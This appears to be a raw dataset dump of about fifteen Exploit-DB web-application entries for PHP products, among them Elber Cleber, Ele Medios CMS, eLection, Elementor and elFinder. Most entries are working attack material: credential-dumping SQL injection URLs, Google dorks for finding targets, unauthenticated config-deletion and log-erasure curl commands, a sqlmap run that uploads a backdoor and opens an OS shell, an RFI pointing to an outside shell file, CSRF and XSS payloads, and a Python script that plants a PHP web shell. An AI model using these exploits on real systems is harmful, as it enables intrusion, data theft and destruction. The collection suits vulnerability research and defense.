deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52005
Description: Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 - Device Config Disclosure
Type: webapps
Platform: php
Date: 2024-05-04
Author: LiquidWorm

Exploit:
Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 Device Config


Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: 1.0.0 Revision 7304
                  1.0.0 Revision 7284
                  1.0.0 Revision 6505
                  1.0.0 Revision 6332
                  1.0.0 Revision 6258
                  XS2DAB v1.50 rev 6267

Summary: Cleber offers a powerful, flexible and modular hardware and
software platform for broadcasting and contribution networks where
customers can install up to six boards with no limitations in terms
of position or number. Based on a Linux embedded OS, it detects the
presence of the boards and shows the related control interface to the
user, either through web GUI and Touchscreen TFT display. Power supply
can be single (AC and/or DC) or dual (hot swappable for redundancy);
customer may chose between two ranges for DC sources, that is 22-65
or 10-36 Vdc for site or DSNG applications.

Desc: The device suffers from an unauthenticated device configuration and
client-side hidden functionality disclosure.

Tested on: NBFM Controller
           embOS/IP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5817
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5817.php


18.08.2023

--


# Config fan
$ curl 'http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp='
Configuration applied

# Delete config
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=2'
File delete successfully

# Launch upgrade
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=1'
Upgrade launched Successfully

# Log erase
$ curl 'http://TARGET/json_data/erase_log.js?until=-2'
Logs erased

# Until:
# =0 ALL
# =-2 Yesterday
# =-8 Last week
# =-15 Last two weeks
# =-22 Last three weeks
# =-31 Last month

# Set RX config
$ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0'
RX Config Applied Successfully

# Show factory window and FPGA upload (Console)
> cleber_show_factory_wnd()

# Etc.
Exploit-DB #10418
Description: Ele Medios CMS - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-13
Author: Dr.0rYX & Cr3W-DZ

Exploit:
                                              ALGERIAN HACKER
  **********************- NORTH-AFRICA SECURITY TEAM -***********************

[!]            Ele Medios CMS SQL Injection Vulnerability
[!] Author    : Dr.0rYX and Cr3w-DZ
[!] MAIL      : vx3@hotmail.de  &  Cr3w@hotmail.de

***************************************************************************/

[ Software Information ]

[+] Vendor : http://www.elemedios.net/
[+] script   : Ele Medios CMS
[+] Download : http://www.elemedios.net/
[+] Vulnerability : php SQL injection
[+] Dork :inurl:"noticias.php?notiId="

**************************************************************************/
[ Vulnerable File ]

http://server/noticias.php?notiId=[N.A.S.T ]

[ Exploit ]

http://server/noticias.php?notiId=-1+union+select+1,GROUP_Concat(id,0x3a,nombre,0x3a,clave),3,4,5,6,7+from+auteUsuarios

http://server/noticias.php?notiId=-1+union+select+1,GROUP_Concat(id,0x3a,nombre,0x3a,clave),3,4,5,6,7+8+from+auteUsuarios

[  GReets ]

[+] :claw , le0n , exploit-db.com , ALL HACKERS MUSLIMS
Exploit-DB #35567
Description: Eleanor CMS - Cross-Site Scripting / Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-04-05
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47164/info

Eleanor CMS is prone to a cross-site scripting vulnerability and multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Eleanor CMS rc5 is vulnerable; other versions may also be affected. 

SQL injection:

http://www.example.com/download.php?module=1%27
http://www.example.com/upload.php?module=1%27

Cross-site scripting:

POST /admin.php HTTP/1.1

user_name=111&pass=222&whereform="><script>alert("XSS");</script>&submit=%C2%EE%E9%F2%E8
Exploit-DB #18858
Description: eLearning server 4g - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-05-10
Author: Andrey Komarov

Exploit:
# Exploit Title: eLearning Server Multiple Remote Vulnerabilities
# Google Dork: intitle:"eLearning Server"
# Date: 10.05.2012
# Author: Eugene Salov, Andrey Komarov (Group-IB, http://group-ib.ru)
# Software Link: http://www.hypermethod.ru/
# Version: 4G
# Tested on: Microsoft Windows

news.php4 "nid" SQL injection:
POC:
/news.php4?nid=-12'+union+select+1,2,LOAD_FILE('C:\\Program%20Files\\Hypermethod\\eLearningServer\\index.php'),4,5,6,7,8,9,10,11/*

admin/setup.inc.php Remote file Include
POC: /admin/setup.inc.php?path=http://group-ib.ru/shell.txt?
Exploit-DB #48122
Description: eLection 2.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-02-24
Author: J3rryBl4nks

Exploit:
# Title: eLection 2.0 - 'id' SQL Injection
# Date: 2020-02-21
# Exploit Author: J3rryBl4nks
# Vendor Homepage: https://sourceforge.net/projects/election-by-tripath/
# Software Link: https://sourceforge.net/projects/election-by-tripath/files/#Version 2.0
# Tested on Ubuntu 19/Kali Rolling

# The eLection Web application is vulnerable to authenticated SQL Injection which leads to remote code execution:
# Login to the admin portal and browse to the candidates section. Capture the request in BurpSuite and save it to file:

POST /election/admin/ajax/op_kandidat.php HTTP/1.1
Host: HOSTNAME
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://HOSTNAME/election/admin/kandidat.php?_
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 17
Connection: close
Cookie: el_listing_panitia=5; el_mass_adding=false; el_listing_guru=5; el_listing_siswa=5; PHPSESSID=b4f0c3bbccd80e9d55fbe0269a29f96a; el_lang=en-us

aksi=fetch&id=256



Send the request to SQLMap with the following parameters:

    sqlmap -r getcandidate --level=5 --risk=3 --os-shell -p id


SQLMap will find the injection:

    ---
    Parameter: id (POST)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: aksi=fetch&id=256 AND 8584=8584

        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: aksi=fetch&id=256 AND (SELECT 8551 FROM (SELECT(SLEEP(5)))nYfJ)

        Type: UNION query
        Title: Generic UNION query (NULL) - 5 columns
        Payload: aksi=fetch&id=-9798 UNION ALL SELECT NULL,NULL,CONCAT(0x[PII_REDACTED],0x676d755461434e486f[PII_REDACTED][PII_REDACTED]534e664f416f[PII_REDACTED]42545a76454f5843584b,0x71717a7871),NULL,NULL-- dWMc
    ---


    [09:39:07] [WARNING] unable to automatically parse any web server path
    [09:39:07] [INFO] trying to upload the file stager on '/opt/lampp/htdocs/election/' via LIMIT 'LINES TERMINATED BY' method
    [09:39:07] [INFO] the file stager has been successfully uploaded on '/opt/lampp/htdocs/election/' - http://HOSTNAME/election/tmpumlfm.php
    [09:39:07] [INFO] the backdoor has been successfully uploaded on '/opt/lampp/htdocs/election/' - http://HOSTNAME/election/tmpbpfkq.php
    [09:39:07] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
    os-shell>


Due to the way the setup of the application requires you to change permissions on the directory of the web app, you should be able to get a shell.

https://github.com/J3rryBl4nks/eLection-TriPath-/blob/master/SQLiIntoRCE.md
Exploit-DB #45848
Description: Electricks eCommerce 1.0 - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: php
Date: 2018-11-14
Author: Nawaf Alkeraithe

Exploit:
# Exploit Title: Electricks eCommerce 1.0 - Cross-Site Request Forgery (Change Admin Password)
# Date: 2018-11-12
# Exploit Author: Nawaf Alkeraithe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/_billyblue/electricks.zip
# Version: 1.0

#PoC:

﻿<html><form enctype="application/x-www-form-urlencoded" method="POST"
action="
http://localhost/Electricks/Electricks/Electricks-shop/pages/admin_account_update.php"><table><tr><td>user_id</td><td><input
type="text" value="4" name="user_id"></td></tr>
<tr><td>firstname</td><td><input type="text" value="admin"
name="firstname"></td></tr>
<tr><td>lastname</td><td><input type="text" value="admin"
name="lastname"></td></tr>
<tr><td>email</td><td><input type="text" value="admin@admin.com"
name="email"></td></tr>
<tr><td>username</td><td><input type="text" value="admin"
name="username"></td></tr>
<tr><td>password</td><td><input type="text" value="NewPass"
name="password"></td></tr>
<tr><td>update</td><td><input type="text" value="" name="update"></td></tr>
</table><input type="submit" value="Change Admin Password"></form></html>
Exploit-DB #45857
Description: Electricks eCommerce 1.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-11-14
Author: Nawaf Alkeraithe

Exploit:
# Exploit Title: Electricks eCommerce 1.0 - Cross-Site Scripting
# Date: 2018-11-12
# Exploit Author: Nawaf Alkeraithe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/_billyblue/electricks.zip
# Version: 1.0

When a user signs up for an account on the following url:
Electricks-shop/pages/user_signup.php

The contact info input field isn't validated before displaying it to the
admin control panel page where the script will be executed.

Admin Control Panel could be found here:
/Electricks-shop/pages/admin_panel.php

For testing you could register as an admin here:
/Electricks-shop/pages/admin_signup.php

POST /Electricks/Electricks/Electricks-shop/pages/user_signup.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/Electricks/Electricks/Electricks-shop/pages/user_signup.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 199
Cookie: PHPSESSID=f7is0t729t957ec7hbfud4oe98
Connection: close
Upgrade-Insecure-Requests: 1

firstname=Nawaf&middlename=test&lastname=Alkeraithe&email=nalkeraithe%
40gmail.com
&address=%3Cscript%3Ealert%28%22Stored+XSS%22%29%3C%2Fscript%3E&contact=nawaf&username=testme&[CREDENTIAL_REDACTED]=
Exploit-DB #2667
Description: Electronic Engineering Tool (EE TOOL) 0.4.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-28
Author: Mehmet Ince

Exploit:
Script Download: http://kent.dl.sourceforge.net/sourceforge/eetool/eetool-0.4-1.tar.gz
 
Code: if($type == 1) { $url = "$cgipath" . "ipcalc.cgi"; } else {
$url = "$cgipath" . "ipcalc.cgi?host=$host&mask1=$mask1&mask2=$mask2";
}nclude("$url");
 
Exploit:www.target.com/ip.inc.php?type=1&cgipath=evilscripts
 
Found: Cyber-Security
 
Thanx: DJR, xoron, K@OS, trampfd, Konaksinamon, KripteX, sakkure, Seyfullah, MaSSiMo, Kano, whiteguide

# milw0rm.com [2006-10-28]
Exploit-DB #39890
Description: Electroweb Online Examination System 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2016-06-06
Author: Ali Ghanbari

Exploit:
# Exploit Title: Online examination system 1.0 - SQL Injection
# Google Dork: inurl:showtest.php?subid=
# Date: 2016/06/05
# Exploit Author: Ali Ghanbari
# Vendor Homepage: http://www.onlinefreeprojectdownload.com
# Sofware Link :
http://www.onlinefreeprojectdownload.com/download.php?name=projects/php%20projects/Online_exam.zip
# Version: 1.0

#Exploit:

http://localhost/{PATH}/showtest.php?subid=[SQL Injection]

#Admin Panel:

http://localhost/{PATH}/admin

####################################

[+]Exploit by: Ali Ghanbari

[+]My Telegram :@Exploiter007
Exploit-DB #37572
Description: Elefant CMS - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-03
Author: PuN!Sh3r

Exploit:
source: https://www.securityfocus.com/bid/54805/info

Elefant CMS is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Elefant CMS 1.2.0 is vulnerable; other versions may also be affected. 

 http://www.example.com/admin/versions?id=[XSS]&type=Webpage
Exploit-DB #26416
Description: Elemata CMS RC3.0 - 'global.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2013-06-24
Author: CWH Underground

Exploit:
# Exploit Title   : Elemata CMS RC3.0 SQL Injection
# Date            : 23 June 2013
# Exploit Author  : CWH Underground
# Site            : www.2600.in.th
# Vendor Homepage : http://www.elemata.com/
# Software Link   : http://jaist.dl.sourceforge.net/project/elematacms/Elemata%203.x/ElemataRC3.0.zip
# Version         : RC 3.0
# Tested on       : Window and Linux
   
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /       
  / XXXXXX /
 (________(         
  `------'
   
##############################
VULNERABILITY: SQL Injection
##############################
   
/functions/global.php (LINE: 24-30)
   
-----------------------------------------------------------------------------  
function e_meta($id)
{
   include ("Connections/default.php");
   mysql_select_db($database_default, $default);
   $query_meta = "SELECT * FROM posts WHERE id = '$id'";
   $meta = mysql_query($query_meta, $default) or die(mysql_error());
   $row_meta = mysql_fetch_assoc($meta);
-----------------------------------------------------------------------------      
   
#####################################################
DESCRIPTION FOR SQL INJECTION
#####################################################
   
An attacker might execute arbitrary SQL commands on the database server with this vulnerability.
User tainted data is used when creating the database query that will be executed on the database management system (DBMS).
An attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating system
depending on the query, DBMS and configuration.
  
POC:
  
http://http://localhost/elemata/?id=-1%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,concat%28user%28%29,0x3a3a,version%28%29,0x3a3a,database%28%29%29,NULL,NULL,NULL,NULL--+

Then View Source !!   
   
################################################################################################################
 Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
Exploit-DB #25951
Description: Elemental Software CartWIZ 1.20 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-07-07
Author: Diabolic Crab

Exploit:
source: https://www.securityfocus.com/bid/14180/info

CartWIZ is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/cartwiz/store/tellAFriend.asp?idProduct='
http://www.example.com/cartwiz/store/viewSupportTickets.asp?sortType='&sortOrder=ticketNum&page=0
http://www.example.com/cartwiz/store/updateCreditCards.asp?id='
http://www.example.com/cartwiz/store/deleteCreditCards.asp?id='
Exploit-DB #51956
Description: Elementor Website Builder < 3.12.2 - Admin+ SQLi
Type: webapps
Platform: php
Date: 2024-04-02
Author: E1 Coders

Exploit:
#EXPLOIT Elementor Website Builder < 3.12.2 - Admin+ SQLi
#References
#CVE : CVE-2023-0329
#E1.Coders
 
#Open Burp Suite.
#In Burp Suite, go to the "Proxy" tab and set it to listen on a specific port, such as 8080.
#Open a new browser window or tab, and set your proxy settings to use Burp Suite on port 8080.
#Visit the vulnerable Elementor Website Builder site and navigate to the Tools > Replace URL page.
#On the Replace URL page, enter any random string as the "New URL" and the following malicious payload as the "Old URL":
 
#code : http://localhost:8080/?test'),meta_key='key4'where+meta_id=SLEEP(2);#
#Press "Replace URL" on the Replace URL page. Burp Suite should intercept the request.
#Forward the intercepted request to the server by right-clicking the request in Burp Suite and selecting "Forward".
#The server will execute the SQL command, which will cause it to hang for 2 seconds before responding. This is a clear indication of successful SQL injection.
#Note: Make sure you have permission to perform these tests and have set up Burp Suite correctly. This command may vary depending on the specific setup of your server and the website builder plugin.</s
# 
#References :  https://wpscan.com/vulnerability/a875836d-77f4-4306-b275-2b60efff1493/
 
 
 
 
#Exploit Python  :
#The provided SQLi attack vector can be achieved using the following Python code with the "requests" library:
 
#This script sends a POST request to the target URL with the SQLi payload as the "data" parameter. It then checks if the response contains the SQLi payload, indicating a successful SQL injection.
#Please make sure you have set up your Burp Suite environment correctly. Additionally, it is important to note that this script and attack have been TESTED and are correct
 
import requests
 
# Set the target URL and SQLi payload
url = "http://localhost:8080/wp-admin/admin-ajax.php"
data = {
    "action": "elementor_ajax_save_builder",
    "editor_post_id": "1",
    "post_id": "1",
    "data": "test'),meta_key='key4'where+meta_id=SLEEP(2);#"
}
 
# Send the request to the target URL
response = requests.post(url, data=data)
 
# Check if the response indicates a successful SQL injection
if "meta_key='key4'where+meta_id=SLEEP(2);#" in response.text:
    print("SQL Injection successful!")
else:
    print("SQL Injection failed.")
Exploit-DB #36925
Description: elFinder 2 - Remote Command Execution (via File Creation)
Type: webapps
Platform: php
Date: 2015-05-06
Author: TUNISIAN CYBER

Exploit:
#[+] Author: TUNISIAN CYBER
#[+] Title: elFinder 2 Remote Command Execution (Via File Creation) Vulnerability
#[+] Date: 06-05-2015
#[+] Vendor: https://github.com/Studio-42/elFinder
#[+] Type: WebAPP
#[+] Tested on: KaliLinux (Debian)
#[+] Twitter: @TCYB3R
#[+] Time Line:
#    03-05-2015:Vulnerability Discovered
#    03-05-2015:Contacted Vendor
#    04-05-2015:No response
#    05-05-2015:No response
#    06-05-2015:No response
#    06-05-2015:Vulnerability published

import cookielib, urllib
import urllib2
import sys

print"\x20\x20+-------------------------------------------------+"
print"\x20\x20| elFinder Remote Command Execution Vulnerability |"
print"\x20\x20|                 TUNISIAN CYBER                  |"
print"\x20\x20+-------------------------------------------------+"


host = raw_input('\x20\x20Vulnerable Site:')
evilfile = raw_input('\x20\x20EvilFileName:')
path=raw_input('\x20\x20elFinder s Path:')


tcyber = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(tcyber))

create = opener.open('http://'+host+'/'+path+'/php/connector.php?cmd=mkfile&name='+evilfile+'&target=l1_Lw')
#print create.read()

payload = urllib.urlencode({
                            'cmd' : 'put',
                            'target' : 'l1_'+evilfile.encode('base64','strict'),
                            'content' : '<?php passthru($_GET[\'cmd\']); ?>'
                            })

write = opener.open('http://'+host+'/'+path+'/php/connector.php', payload)
#print write.read()
print '\n'
while True:
    try:
        cmd = raw_input('[She3LL]:~# ')

        execute = opener.open('http://'+host+'/'+path+'/admin/js/plugins/elfinder/files/'+evilfile+'?cmd='+urllib.quote(cmd))
        reverse = execute.read()
        print reverse;

        if cmd.strip() == 'exit':
            break

    except Exception:
        break

sys.exit()